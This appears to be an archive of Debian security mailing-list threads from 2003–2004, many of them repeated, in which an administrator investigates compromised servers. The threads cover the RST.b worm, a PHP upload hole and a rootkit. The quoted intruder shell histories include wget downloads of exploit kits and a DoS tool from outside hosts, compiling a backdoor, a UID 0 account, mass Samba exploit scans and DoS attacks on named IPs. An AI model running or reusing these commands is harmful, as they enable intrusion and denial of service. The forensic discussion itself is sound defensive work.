SELinux in debian/sarge
Hi! I've setup a server with selinux enabled, using the packages from Russel Coker (http://www.coker.com.au/selinux/) but they are a bit outdated, at least there are more current packages in debian/testing available (coreutils, dpkg, dselect, initscripts, sysv-rc, sysvinit). I think the packages in sarge are not SE-enabled? Are there newer/current packages somewhere around (didn't find anything on apt-get.org and google)? best regards, Markus
Re: strange apache error.log entry
François TOURDE wrote: Le 12438ième jour après Epoch, [EMAIL PROTECTED] écrivait: Hi, can you tell me what the following means in an apache error.log and The log is the out put of wget command.Most probably the command which resulted in this entry is "wget http://www.geocities.com/fonias28/psybnc.tgz -o /var/log/apache/error.log" Or just a php script allowing execution of commands, then wget was launched this way... Check your machine, it can be compromised :) I already know that the machine got compromised, I came across these log lines while searching which hole was used... best regards markus
Re: strange apache error.log entry
Jan Minar wrote: On Wed, Jan 21, 2004 at 01:28:32AM +0100, Markus Schabel wrote: I don't know what the surrounding lines are, but the core of your posting is a wget(1) logfile/stderr output :-) This isn't the standard wget in the main distribution; IIRC, it's the busybox' one. Busybox' small footprint makes it ideal for floppy-based distros & rescue disks (such as Debian boot-floppies). sure, i know what wget is ;-) the interesting thing is that these lines are in the apache log-file (the surrounding two lines belong to apache) best regards /var/log/apache/error.log: [Sun Jan 18 14:54:35 2004] [error] [client 80.142.221.116] File does not exist: /var/www/sammy/www/bc-nrw/images/halb_banner_med.jpg Beginning of wget output: --14:59:21-- http://www.geocities.com/fonias28/psybnc.tgz 14:59:24 (273.38 KB/s) - `psybnc.tgz' saved [577509/577509] End of wget output (maybe the following blank line belongs to it, too). [Sun Jan 18 15:23:42 2004] [error] [client 217.24.233.220] File does not exist: /var/www/sammy/www/bc-nrw/images/halb_banner_med.jpg
Re: strange apache error.log entry
François TOURDE wrote: Le 12438ième jour après Epoch, [EMAIL PROTECTED] écrivait: Hi, can you tell me what the following means in an apache error.log and The log is the out put of wget command.Most probably the command which resulted in this entry is "wget http://www.geocities.com/fonias28/psybnc.tgz -o /var/log/apache/error.log" Or just a php script allowing execution of commands, then wget was launched this way... Check your machine, it can be compromised :) I already know that the machine got compromised, I came across these log lines while searching which hole was used... best regards markus -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: strange apache error.log entry
Jan Minar wrote: On Wed, Jan 21, 2004 at 01:28:32AM +0100, Markus Schabel wrote: I don't know what the surrounding lines are, but the core of your posting is a wget(1) logfile/stderr output :-) This isn't the standard wget in the main distribution; IIRC, it's the busybox' one. Busybox' small footprint makes it ideal for floppy-based distros & rescue disks (such as Debian boot-floppies). sure, i know what wget is ;-) the interesting thing is that these lines are in the apache log-file (the surrounding two lines belong to apache) best regards /var/log/apache/error.log: [Sun Jan 18 14:54:35 2004] [error] [client 80.142.221.116] File does not exist: /var/www/sammy/www/bc-nrw/images/halb_banner_med.jpg Beginning of wget output: --14:59:21-- http://www.geocities.com/fonias28/psybnc.tgz 14:59:24 (273.38 KB/s) - `psybnc.tgz' saved [577509/577509] End of wget output (maybe the following blank line belongs to it, too). [Sun Jan 18 15:23:42 2004] [error] [client 217.24.233.220] File does not exist: /var/www/sammy/www/bc-nrw/images/halb_banner_med.jpg -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
strange apache error.log entry
hello folks! can you tell me what the following means in an apache error.log and where it comes from? I've searched through all other apache log files but didn't find something that could generate this. (sure, the server got hacked and is out-of-order now...) /var/log/apache/error.log: [Sun Jan 18 14:54:35 2004] [error] [client 80.142.221.116] File does not exist: /var/www/sammy/www/bc-nrw/images/halb_banner_med.jpg --14:59:21-- http://www.geocities.com/fonias28/psybnc.tgz => `psybnc.tgz' Resolving www.geocities.com... done. Connecting to www.geocities.com[66.218.77.68]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 577,509 [application/x-compressed] 0K .. .. .. .. .. 8% 97.09 KB/s 50K .. .. .. .. .. 17% 287.36 KB/s 100K .. .. .. .. .. 26% 290.70 KB/s 150K .. .. .. .. .. 35% 295.86 KB/s 200K .. .. .. .. .. 44% 294.12 KB/s 250K .. .. .. .. .. 53% 649.35 KB/s 300K .. .. .. .. .. 62% 505.05 KB/s 350K .. .. .. .. .. 70% 292.40 KB/s 400K .. .. .. .. .. 79% 290.70 KB/s 450K .. .. .. .. .. 88% 292.40 KB/s 500K .. .. .. .. .. 97% 295.86 KB/s 550K .. ...100%3.41 MB/s 14:59:24 (273.38 KB/s) - `psybnc.tgz' saved [577509/577509] [Sun Jan 18 15:23:42 2004] [error] [client 217.24.233.220] File does not exist: /var/www/sammy/www/bc-nrw/images/halb_banner_med.jpg best regards Markus
strange apache error.log entry
hello folks! can you tell me what the following means in an apache error.log and where it comes from? I've searched through all other apache log files but didn't find something that could generate this. (sure, the server got hacked and is out-of-order now...) /var/log/apache/error.log: [Sun Jan 18 14:54:35 2004] [error] [client 80.142.221.116] File does not exist: /var/www/sammy/www/bc-nrw/images/halb_banner_med.jpg --14:59:21-- http://www.geocities.com/fonias28/psybnc.tgz => `psybnc.tgz' Resolving www.geocities.com... done. Connecting to www.geocities.com[66.218.77.68]:80... connected. HTTP request sent, awaiting response... 200 OK Length: 577,509 [application/x-compressed] 0K .. .. .. .. .. 8% 97.09 KB/s 50K .. .. .. .. .. 17% 287.36 KB/s 100K .. .. .. .. .. 26% 290.70 KB/s 150K .. .. .. .. .. 35% 295.86 KB/s 200K .. .. .. .. .. 44% 294.12 KB/s 250K .. .. .. .. .. 53% 649.35 KB/s 300K .. .. .. .. .. 62% 505.05 KB/s 350K .. .. .. .. .. 70% 292.40 KB/s 400K .. .. .. .. .. 79% 290.70 KB/s 450K .. .. .. .. .. 88% 292.40 KB/s 500K .. .. .. .. .. 97% 295.86 KB/s 550K .. ...100%3.41 MB/s 14:59:24 (273.38 KB/s) - `psybnc.tgz' saved [577509/577509] [Sun Jan 18 15:23:42 2004] [error] [client 217.24.233.220] File does not exist: /var/www/sammy/www/bc-nrw/images/halb_banner_med.jpg best regards Markus -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Faked samba packages / rootkit?
.conf 349 ./psybnc 350 vi psybnc.conf 351 ./psybnc 352 cd .. 353 adduser 354 cd /tmo/rk/w00t 355 cd /tmp/rk/w00t 356 ./samba -b 0 -v 193.170.8.129 357 cd /tmp/rk/w00t 358 ./samba -b 0 -v 211.21.64.204 359 ./samba -b 0 -v 211.21.64.204 360 ./samba -b 0 -v 128.210.147.242 361 cd /tmp/rk/w00t 362 ./asmb 128.210 363 ./asmb 128.211 364 ./asmb 128.209 365 ./asmb 128 366 ./asmb 210.86 367 ./asmb 128 368 ./asmb 219 369 ./asmb 219.111 370 ./asmb 219.166 371 cat woot.log 372 ./samba -b 0 -v 219.166.79.186 373 ./samba -b 0 -v 219.166.81.34 374 ./asmb 219.80 375 cat woot.log 376 ./asmb 219.91 377 ./samba -b 0 -v 219.91.104.72 378 ./asmb 211.23 379 ./asmb 212.54 380 ./asmb 212.163 381 ./asmb 212.191 382 cd .. 383 wget xplo.150m.com/allsun.tgz 384 tar zxvf allsun.tgz 385 tar xf allsun.tgz 386 gunzip allsun.tgz 387 cd w00t/ 388 ./asmb 10.12 389 ./asmb 212.37 390 ./asmb 215 391 ./asmb 189 392 ./asmb 140 393 ./asmb 82.129 394 ./asmb 82.39 395 cd /tmp/rk 396 cd w00t/ 397 ./samba -b 0 -v 213.81.174.155 398 cat woot.log 399 cd .. 400 ls 401 cd w00t/ 402 ./asmb 213.81 403 cd /var/tmp/.nlp 404 cd selena/ 405 ls 406 ./ssx 407 cd /tmp 408 cd rk 409 cd w00t/ 410 ./asmb 210 411 ./asmb 210.146 412 ./asmb 210.192 413 ls 414 ./samba -b 0 -v 128.210.147.242 415 ./samba -b 0 -v 128.210.147.241 416 ./samba -b 0 -v 128.210.147.243 417 ./samba -b 0 -v 128.210.147.241 418 ./samba -b 0 -v 128.210.147.242 419 ./samba -b 0 -v 128.210.147.242 420 ./asmb 210.233 421 ./samba -b 0 -v 210.233.23.147 422 ./asmb 210.59 423 ./asmb 211 424 ./asmb 211.130 425 cat woot.lo 426 ./asmb 211.21 427 cat woot.log 428 ./samba -b 0 -v 211.21.64.204 429 ./asmb 211.22 430 ./asmb 212 431 ./asmb 212.37 432 ./asmb 212.101 433 ./asmb 212.185 434 ./asmb 212.36 435 ./asmb 212.80 436 ./asmb 214 437 ./asmb 158 438 ./asmb 02 439 ./asmb 82 440 ./asmb 82.161 441 ./asmb 82.255 442 cd /tmp/rk/w00t 443 ls 444 ./asmb 83 445 ./asmb 193.40 446 ./asmb 212.28 447 ./asmb 172 448 ./asmb 172.163 449 ./asmb 62.218 450 ./asmb 61.189 451 ./asmb 63 452 ./asmb 62.233 453 ./asmb 62.146 454 ./asmb 62.140 455 ./asmb 62 456 ./asmb 62.174 457 ./asmb 62.32 458 ./asmb 62.57 459 ./asmb 62.90 460 ./asmb 207.44 461 ./asmb 213.64 462 ./asmb 213.52 463 ./asmb 213.60 464 cat woot.log 465 ./samba -b 0 -v 213.60.109.1 466 ./samba -b 0 -v 213.60.109.1 467 wget http://members.xoom.it/pippo46/php.tar 468 tar xf php.tar 469 ls 470 cd php.tar 471 cd .. 472 cd php.tar 473 wget http://members.xoom.it/pippo46/php.tar 474 tar xf php.tar 475 ls 476 wget http://62.211.66.12/pippo46/php.tar 477 ./Start 62.162 478 ls 479 tar xf php.tar 480 tar zxvf php.tar 481 5http://www.zorgii.0catch.com/phpxpl.tar.gz 482 wget http://www.zorgii.0catch.com/phpxpl.tar.gz 483 tar zxvf phpxpl.tar.gz 484 5gunzip phpxpl.tar.gz 485 gunzip phpxpl.tar.gz 486 cd w00t/ 487 ./asmb 213.61 488 ./samba -b 0 -v 213.60.109.1 489 ./asmb 213.62 490 ./asmb 213.58 491 ./asmb 213.57 492 ./asmb 213.70 493 ./asmb 213.80 494 ./samba -b 0 -v 81.183.0.29 495 w 496 cd /var/tmp 497 cd /tmp/rk 498 cd w00t/ 499 ./samba -b 0 -v 211.22.94.147 500 ./samba -b 0 -v 194.95.226.21 -- \\\ ||| /// _\=/_ ( @ @ )(o o) +oOOo-(_)-oOOo--oOOo-(_)-oOOo--+ | Markus Schabel TGM - Die Schule der Technik www.tgm.ac.at | | IT-Service A-1200 Wien, Wexstrasse 19-23 net.tgm.ac.at | | [EMAIL PROTECTED] Tel.: +43(1)33126/316 | | [EMAIL PROTECTED] Fax.: +43(1)33126/154 | | FSF Associate Member #597, Linux User #259595 (counter.li.org) | |oOOoYet Another Spam Trap: oOOo | | ()oOOo[EMAIL PROTECTED] ( ) oOOo | +\ (( )--\ ( -( )-+ \_) ) /\_) ) / (_/ (_/ Computers are like airconditioners: They stop working properly if you open windows.
Faked samba packages / rootkit?
349 ./psybnc 350 vi psybnc.conf 351 ./psybnc 352 cd .. 353 adduser 354 cd /tmo/rk/w00t 355 cd /tmp/rk/w00t 356 ./samba -b 0 -v 193.170.8.129 357 cd /tmp/rk/w00t 358 ./samba -b 0 -v 211.21.64.204 359 ./samba -b 0 -v 211.21.64.204 360 ./samba -b 0 -v 128.210.147.242 361 cd /tmp/rk/w00t 362 ./asmb 128.210 363 ./asmb 128.211 364 ./asmb 128.209 365 ./asmb 128 366 ./asmb 210.86 367 ./asmb 128 368 ./asmb 219 369 ./asmb 219.111 370 ./asmb 219.166 371 cat woot.log 372 ./samba -b 0 -v 219.166.79.186 373 ./samba -b 0 -v 219.166.81.34 374 ./asmb 219.80 375 cat woot.log 376 ./asmb 219.91 377 ./samba -b 0 -v 219.91.104.72 378 ./asmb 211.23 379 ./asmb 212.54 380 ./asmb 212.163 381 ./asmb 212.191 382 cd .. 383 wget xplo.150m.com/allsun.tgz 384 tar zxvf allsun.tgz 385 tar xf allsun.tgz 386 gunzip allsun.tgz 387 cd w00t/ 388 ./asmb 10.12 389 ./asmb 212.37 390 ./asmb 215 391 ./asmb 189 392 ./asmb 140 393 ./asmb 82.129 394 ./asmb 82.39 395 cd /tmp/rk 396 cd w00t/ 397 ./samba -b 0 -v 213.81.174.155 398 cat woot.log 399 cd .. 400 ls 401 cd w00t/ 402 ./asmb 213.81 403 cd /var/tmp/.nlp 404 cd selena/ 405 ls 406 ./ssx 407 cd /tmp 408 cd rk 409 cd w00t/ 410 ./asmb 210 411 ./asmb 210.146 412 ./asmb 210.192 413 ls 414 ./samba -b 0 -v 128.210.147.242 415 ./samba -b 0 -v 128.210.147.241 416 ./samba -b 0 -v 128.210.147.243 417 ./samba -b 0 -v 128.210.147.241 418 ./samba -b 0 -v 128.210.147.242 419 ./samba -b 0 -v 128.210.147.242 420 ./asmb 210.233 421 ./samba -b 0 -v 210.233.23.147 422 ./asmb 210.59 423 ./asmb 211 424 ./asmb 211.130 425 cat woot.lo 426 ./asmb 211.21 427 cat woot.log 428 ./samba -b 0 -v 211.21.64.204 429 ./asmb 211.22 430 ./asmb 212 431 ./asmb 212.37 432 ./asmb 212.101 433 ./asmb 212.185 434 ./asmb 212.36 435 ./asmb 212.80 436 ./asmb 214 437 ./asmb 158 438 ./asmb 02 439 ./asmb 82 440 ./asmb 82.161 441 ./asmb 82.255 442 cd /tmp/rk/w00t 443 ls 444 ./asmb 83 445 ./asmb 193.40 446 ./asmb 212.28 447 ./asmb 172 448 ./asmb 172.163 449 ./asmb 62.218 450 ./asmb 61.189 451 ./asmb 63 452 ./asmb 62.233 453 ./asmb 62.146 454 ./asmb 62.140 455 ./asmb 62 456 ./asmb 62.174 457 ./asmb 62.32 458 ./asmb 62.57 459 ./asmb 62.90 460 ./asmb 207.44 461 ./asmb 213.64 462 ./asmb 213.52 463 ./asmb 213.60 464 cat woot.log 465 ./samba -b 0 -v 213.60.109.1 466 ./samba -b 0 -v 213.60.109.1 467 wget http://members.xoom.it/pippo46/php.tar 468 tar xf php.tar 469 ls 470 cd php.tar 471 cd .. 472 cd php.tar 473 wget http://members.xoom.it/pippo46/php.tar 474 tar xf php.tar 475 ls 476 wget http://62.211.66.12/pippo46/php.tar 477 ./Start 62.162 478 ls 479 tar xf php.tar 480 tar zxvf php.tar 481 5http://www.zorgii.0catch.com/phpxpl.tar.gz 482 wget http://www.zorgii.0catch.com/phpxpl.tar.gz 483 tar zxvf phpxpl.tar.gz 484 5gunzip phpxpl.tar.gz 485 gunzip phpxpl.tar.gz 486 cd w00t/ 487 ./asmb 213.61 488 ./samba -b 0 -v 213.60.109.1 489 ./asmb 213.62 490 ./asmb 213.58 491 ./asmb 213.57 492 ./asmb 213.70 493 ./asmb 213.80 494 ./samba -b 0 -v 81.183.0.29 495 w 496 cd /var/tmp 497 cd /tmp/rk 498 cd w00t/ 499 ./samba -b 0 -v 211.22.94.147 500 ./samba -b 0 -v 194.95.226.21 -- \\\ ||| /// _\=/_ ( @ @ )(o o) +oOOo-(_)-oOOo--oOOo-(_)-oOOo--+ | Markus Schabel TGM - Die Schule der Technik www.tgm.ac.at | | IT-Service A-1200 Wien, Wexstrasse 19-23 net.tgm.ac.at | | [EMAIL PROTECTED] Tel.: +43(1)33126/316 | | [EMAIL PROTECTED] Fax.: +43(1)33126/154 | | FSF Associate Member #597, Linux User #259595 (counter.li.org) | |oOOoYet Another Spam Trap: oOOo | | ()oOOo[EMAIL PROTECTED] ( ) oOOo | +\ (( )--\ ( -( )-+ \_) ) /\_) ) / (_/ (_/ Computers are like airconditioners: They stop working properly if you open windows. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Strange segmentation faults and Zombies
Diego Brouard wrote: El Miércoles, 17 de Septiembre de 2003 21:29, Markus Schabel escribió: Hello! I've seen some strange things on my (stable with security-updates) server: the last apt-get update didn't work because gzip segfaultet. I've copied gzip from another server over the version on this server, but it also crashed. Interesting was that the executable was bigger after the segfault. As you've seen you have been cracked by a "worm", it's called RST.b. In few words, it infect exectable files in /bin and in the current directory from where you are executing an already infected binary. You were infected because of a php bug and the ptrace bug. There are lots of info "googling" internet. You can avoid reinstall the server if you work carefully. Getting rid of RST.b was relatively easy, just overcopied /bin /sbin /usr/bin and /usr/sbin from another stable server, then installed AntiVir personal edition in DEMO mode (www.antivir.de) - that is enough to detect all infected files, and then copied all infected files from the other server over. There also are some tools that deinfect the binaries if you don't have another server... Removed the "new" root user from passwd and shadow and deleted his homedirectory. I also tried to get rid of all other issues, installed chkrootkit (which works fine with the clean binaries in /bin) and found nothing - interesting was that ifconfig showed PROMISC and chkrootkit didn't detect it. After that I rebooted the server - now the interfaces are not in promisc mode - and changed all passwords. Also did a remote portscan an ALL (tcp&udp) ports and hopefully fixed the upload-hole. (Question: How do I get the interfaces out of PROMISC mode remotely? Cannot do a networking stop/start because I'll be kicked after stop and never get in to start, and I'd not bet my ass that a restart would work on a compromised server...) Also did a apt-get install --reinstall libc6 and some other packages (ssh, ...) and compared md5sums of all files with the md5sums of my remote server. (be careful, if you execute an apt-get when /bin/* is still infected the /usr/lib/apt/methods/* also get infected) The server SEEMS to be clean at the moment, but I would not bet my head on this. The next step is to re-define all our security guidelines and check that they are hold by each user on the server. Also we constantly check all our logfiles and do a regular port-scanning and get something that constantly checks all md5sums of all files and insteadly emails all changes. Thanks to all for your help! Since this server is a private one and not owned by a company and is hosted somewhere we cannot get easily to (now, we moved but the server stayed at the old hoster) we have problems to reinstall the server now - but we all know that we REALLY should reinstall or switch it of. regards Markus
Re: Strange segmentation faults and Zombies
Diego Brouard wrote: El Miércoles, 17 de Septiembre de 2003 21:29, Markus Schabel escribió: Hello! I've seen some strange things on my (stable with security-updates) server: the last apt-get update didn't work because gzip segfaultet. I've copied gzip from another server over the version on this server, but it also crashed. Interesting was that the executable was bigger after the segfault. As you've seen you have been cracked by a "worm", it's called RST.b. In few words, it infect exectable files in /bin and in the current directory from where you are executing an already infected binary. You were infected because of a php bug and the ptrace bug. There are lots of info "googling" internet. You can avoid reinstall the server if you work carefully. Getting rid of RST.b was relatively easy, just overcopied /bin /sbin /usr/bin and /usr/sbin from another stable server, then installed AntiVir personal edition in DEMO mode (www.antivir.de) - that is enough to detect all infected files, and then copied all infected files from the other server over. There also are some tools that deinfect the binaries if you don't have another server... Removed the "new" root user from passwd and shadow and deleted his homedirectory. I also tried to get rid of all other issues, installed chkrootkit (which works fine with the clean binaries in /bin) and found nothing - interesting was that ifconfig showed PROMISC and chkrootkit didn't detect it. After that I rebooted the server - now the interfaces are not in promisc mode - and changed all passwords. Also did a remote portscan an ALL (tcp&udp) ports and hopefully fixed the upload-hole. (Question: How do I get the interfaces out of PROMISC mode remotely? Cannot do a networking stop/start because I'll be kicked after stop and never get in to start, and I'd not bet my ass that a restart would work on a compromised server...) Also did a apt-get install --reinstall libc6 and some other packages (ssh, ...) and compared md5sums of all files with the md5sums of my remote server. (be careful, if you execute an apt-get when /bin/* is still infected the /usr/lib/apt/methods/* also get infected) The server SEEMS to be clean at the moment, but I would not bet my head on this. The next step is to re-define all our security guidelines and check that they are hold by each user on the server. Also we constantly check all our logfiles and do a regular port-scanning and get something that constantly checks all md5sums of all files and insteadly emails all changes. Thanks to all for your help! Since this server is a private one and not owned by a company and is hosted somewhere we cannot get easily to (now, we moved but the server stayed at the old hoster) we have problems to reinstall the server now - but we all know that we REALLY should reinstall or switch it of. regards Markus -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: [sec] Re: Strange segmentation faults and Zombies
Christian Storch wrote: The problem is starting >>before<< I think all the things >>before<< phpshell.php are done via phpshell.php and the things you can see in the .bash_history are only the things after he already got in. id mkdir /etc/.rpn ... you should think about all what's listening on a port: - an outdated sshd? (!) It was a NOW outdated sshd but I believe that the new packages weren't availiable on sunday - after getting the DSA-mails i usually update my systems. - security updates all up to date? the same state as DSA announcements - known unclosed security hole? It seems that it was possible to upload & execute .php-files somewhere (phpshell.php) - some nice scripts like 'rootshell.php'? ;) no. at least not found till now. - perl without tainting checks in cgi-bin? what exactly do you mean? how can i do/check that? thanks, markus etc. etc. Christian -Original Message- From: Markus Schabel [mailto:[EMAIL PROTECTED] Sent: Thursday, September 18, 2003 12:23 PM To: debian-security@lists.debian.org Subject: Re: [sec] Re: Strange segmentation faults and Zombies maximilian attems wrote: On Thu, 18 Sep 2003, Christian Storch wrote: Don't forget to try to find the potential hole first! Otherwise you could have a fast recurrence. [..] in /etc/.rpn theres a .bash_history with the following content: id mkdir /etc/.rpn ps -aux ps -aux | grep tbk kill -15292 pid kill 15292 netconf locate httpd.conf cd /etc/.rpn ls -al wget cd /var/www/cncmap/www/upload/renegade ls -al rm -rf phpshell.php ^__^ was this the exploited hole ? I think so. In fact the problem is that it got there... regards Markus
Re: Strange segmentation faults and Zombies
Phillip Hofmeister wrote: On Thu, 18 Sep 2003 at 09:08:28AM +0200, Markus Schabel wrote: scp goodserver:/bin/gzip /bin/gzip NO! Since there's the chance that the server got hacked I'm not interested to give him other passwords. copied from the other server via scp. scp from the clean system into the dirty one. This way he won't get access to the clean systems because the passwd for the clean system will not be given to the dirty one. In fact that was what I tried to explain with "copied from the other server via scp." and already done a lot of times... thanks Markus
Re: [sec] Re: Strange segmentation faults and Zombies
Christian Storch wrote: The problem is starting >>before<< I think all the things >>before<< phpshell.php are done via phpshell.php and the things you can see in the .bash_history are only the things after he already got in. id mkdir /etc/.rpn ... you should think about all what's listening on a port: - an outdated sshd? (!) It was a NOW outdated sshd but I believe that the new packages weren't availiable on sunday - after getting the DSA-mails i usually update my systems. - security updates all up to date? the same state as DSA announcements - known unclosed security hole? It seems that it was possible to upload & execute .php-files somewhere (phpshell.php) - some nice scripts like 'rootshell.php'? ;) no. at least not found till now. - perl without tainting checks in cgi-bin? what exactly do you mean? how can i do/check that? thanks, markus etc. etc. Christian -Original Message- From: Markus Schabel [mailto:[EMAIL PROTECTED] Sent: Thursday, September 18, 2003 12:23 PM To: [EMAIL PROTECTED] Subject: Re: [sec] Re: Strange segmentation faults and Zombies maximilian attems wrote: On Thu, 18 Sep 2003, Christian Storch wrote: Don't forget to try to find the potential hole first! Otherwise you could have a fast recurrence. [..] in /etc/.rpn theres a .bash_history with the following content: id mkdir /etc/.rpn ps -aux ps -aux | grep tbk kill -15292 pid kill 15292 netconf locate httpd.conf cd /etc/.rpn ls -al wget cd /var/www/cncmap/www/upload/renegade ls -al rm -rf phpshell.php ^__^ was this the exploited hole ? I think so. In fact the problem is that it got there... regards Markus -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Strange segmentation faults and Zombies
Phillip Hofmeister wrote: On Thu, 18 Sep 2003 at 09:08:28AM +0200, Markus Schabel wrote: scp goodserver:/bin/gzip /bin/gzip NO! Since there's the chance that the server got hacked I'm not interested to give him other passwords. copied from the other server via scp. scp from the clean system into the dirty one. This way he won't get access to the clean systems because the passwd for the clean system will not be given to the dirty one. In fact that was what I tried to explain with "copied from the other server via scp." and already done a lot of times... thanks Markus -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: [sec] Re: Strange segmentation faults and Zombies
maximilian attems wrote: On Thu, 18 Sep 2003, Christian Storch wrote: Don't forget to try to find the potential hole first! Otherwise you could have a fast recurrence. [..] in /etc/.rpn theres a .bash_history with the following content: id mkdir /etc/.rpn ps -aux ps -aux | grep tbk kill -15292 pid kill 15292 netconf locate httpd.conf cd /etc/.rpn ls -al wget cd /var/www/cncmap/www/upload/renegade ls -al rm -rf phpshell.php ^__^ was this the exploited hole ? I think so. In fact the problem is that it got there... regards Markus
Re: [sec] Re: Strange segmentation faults and Zombies
maximilian attems wrote: On Thu, 18 Sep 2003, Christian Storch wrote: Don't forget to try to find the potential hole first! Otherwise you could have a fast recurrence. [..] in /etc/.rpn theres a .bash_history with the following content: id mkdir /etc/.rpn ps -aux ps -aux | grep tbk kill -15292 pid kill 15292 netconf locate httpd.conf cd /etc/.rpn ls -al wget cd /var/www/cncmap/www/upload/renegade ls -al rm -rf phpshell.php ^__^ was this the exploited hole ? I think so. In fact the problem is that it got there... regards Markus -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Strange segmentation faults and Zombies
Ralf Dreibrodt wrote: Hi, Markus Schabel wrote: I've seen some strange things on my (stable with security-updates) server: the last apt-get update didn't work because gzip segfaultet. I've copied gzip from another server over the version on this server, but it also crashed. Interesting was that the executable was bigger after the segfault. try the following: md5sum /bin/gzip 0abb7d14a76380d67843e5c24cc5bfc3 /bin/gzip scp goodserver:/bin/gzip /bin/gzip NO! Since there's the chance that the server got hacked I'm not interested to give him other passwords. copied from the other server via scp. md5sum /bin/gzip 8ab687ecd2bef48937b4b08165206a9d /bin/gzip ls /bin/gzip md5sum /bin/gzip 0abb7d14a76380d67843e5c24cc5bfc3 /bin/gzip can you send the output? i had the same problem on a few servers, every file was bigger before the ls, but still worked. beside gzip, it segfaultet. you can also strace ls, normally ls does nothing in /proc, but this ls had done anything in /proc. But where is it from? Have you installed/executed any binarys beside debian-packages? No. see my other posting, there's quite a lot of info in it... Regards, Ralf Dreibrodt thanks markus
Re: Strange segmentation faults and Zombies
Laurent Corbes {Caf'} wrote:
On Wed, 17 Sep 2003 22:29:58 +0200
Markus Schabel <[EMAIL PROTECTED]> wrote:
I've seen some strange things on my (stable with security-updates)
server: the last apt-get update didn't work because gzip segfaultet.
I've copied gzip from another server over the version on this server,
but it also crashed. Interesting was that the executable was bigger
after the segfault.
curious.
In a ps I can see a lot of Zombies (rm, ln, readlink, grep) and I've no
idea where they come from.
it's the daily cronjob that stole.
yes, and that's reproducable :(
You think the server got hacked? Are there any other things that can
lead to this? man also behaves strange, it says either "No manual entry
for...", "What manual page do you want?" or nothing.
i'm thinking about a hardware problem.
may the harddrive is in failure (get the ouput of dmesg) or a very big
ram problem that corrupt files on the hard drive.
request_module[net-pf-14]: waitpid(15400,...) failed, errno 1
ptrace uses obsolete (PF_INET,SOCK_PACKET)
eth0: Promiscuous mode enabled.
device eth0 entered promiscuous mode
eth0: Promiscuous mode enabled.
but nothing about the disks
in every case simply copy all the data you can and inspect the hdd in
another box mounting it read only.
setuid.changes lists /dev/* and the following programs:
pppd
postdrop
postqueue
wall
newgrp
at
chage
chfn
chsh
expiry
gpasswd
passwd
write
crontab
dotlockfile
ssh-keysign
procmail
lockfile
popauth
pt_chown
traceroute
mount
umount
login
su
ping
suexec
/usr/lib/mc/bin/cons.saver
and a new user exists in /etc/passwd: slacks:x:0:0::/etc/.rpn:/bin/bash
in /etc/.rpn theres a .bash_history with the following content:
id
mkdir /etc/.rpn
ps -aux
ps -aux | grep tbk
kill -15292 pid
kill 15292
netconf
locate httpd.conf
cd /etc/.rpn
ls -al
wget
cd /var/www/cncmap/www/upload/renegade
ls -al
rm -rf phpshell.php
cat bd.c
gcc -o bd bd.c
ftp ftp.hpg.com.br
rm -rf bd.c
cd /tmp
cd /etc/.rpn
wget www.slacks.hpg.com.br/psyBNC.tar.gz
tar zvxf psyBNC.tar.gz
tar -zvxf psyBNC.tar.gz
tar
gunzip psyBNC.tar.gz
tar -Acdtrux psyBNC.tar.gz
tar -x psyBNC.tar.gz
tar -Acd psyBNC.tar.gz
tar -cd psyBNC.tar.gz
tar --help
pwd
ls
rm -rf *
wget www.slacks.hpg.com.br/bin/dos
chmod +x dos
./dos
./dos 200.101.87.8 65535 8569
./dos 200.199.95.11 65535 8569
and the executable dos
interesting is the line "tar --help" :D
in "last" I see the following:
slacks pts/0Sun Sep 14 02:26 - 03:37 (01:11)
200-147-107-35.tlm.dialuol.com.br
IP of the hacker is 200.147.107.35
I think we have no chance of legal actions against .br?
in the directory /var/www/cncmap/www/upload/renegade there are the
following files: backhole.pl
e.c ("Copyright (c) 2003 DTORS Security, ANGELO ROSIELLO 18/02/2003,
LES-EXPLOIT for Linux x86")
rem.php (phpRemoteView)
so we got hacked :(
what informations should we gather before we reinstall the complete
server? I think we have to reinstall the whole thing or do you have
any ideas?
thanks
Markus
Re: Strange segmentation faults and Zombies
Ralf Dreibrodt wrote: Hi, Markus Schabel wrote: I've seen some strange things on my (stable with security-updates) server: the last apt-get update didn't work because gzip segfaultet. I've copied gzip from another server over the version on this server, but it also crashed. Interesting was that the executable was bigger after the segfault. try the following: md5sum /bin/gzip 0abb7d14a76380d67843e5c24cc5bfc3 /bin/gzip scp goodserver:/bin/gzip /bin/gzip NO! Since there's the chance that the server got hacked I'm not interested to give him other passwords. copied from the other server via scp. md5sum /bin/gzip 8ab687ecd2bef48937b4b08165206a9d /bin/gzip ls /bin/gzip md5sum /bin/gzip 0abb7d14a76380d67843e5c24cc5bfc3 /bin/gzip can you send the output? i had the same problem on a few servers, every file was bigger before the ls, but still worked. beside gzip, it segfaultet. you can also strace ls, normally ls does nothing in /proc, but this ls had done anything in /proc. But where is it from? Have you installed/executed any binarys beside debian-packages? No. see my other posting, there's quite a lot of info in it... Regards, Ralf Dreibrodt thanks markus -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Strange segmentation faults and Zombies
Laurent Corbes {Caf'} wrote:
On Wed, 17 Sep 2003 22:29:58 +0200
Markus Schabel <[EMAIL PROTECTED]> wrote:
I've seen some strange things on my (stable with security-updates)
server: the last apt-get update didn't work because gzip segfaultet.
I've copied gzip from another server over the version on this server,
but it also crashed. Interesting was that the executable was bigger
after the segfault.
curious.
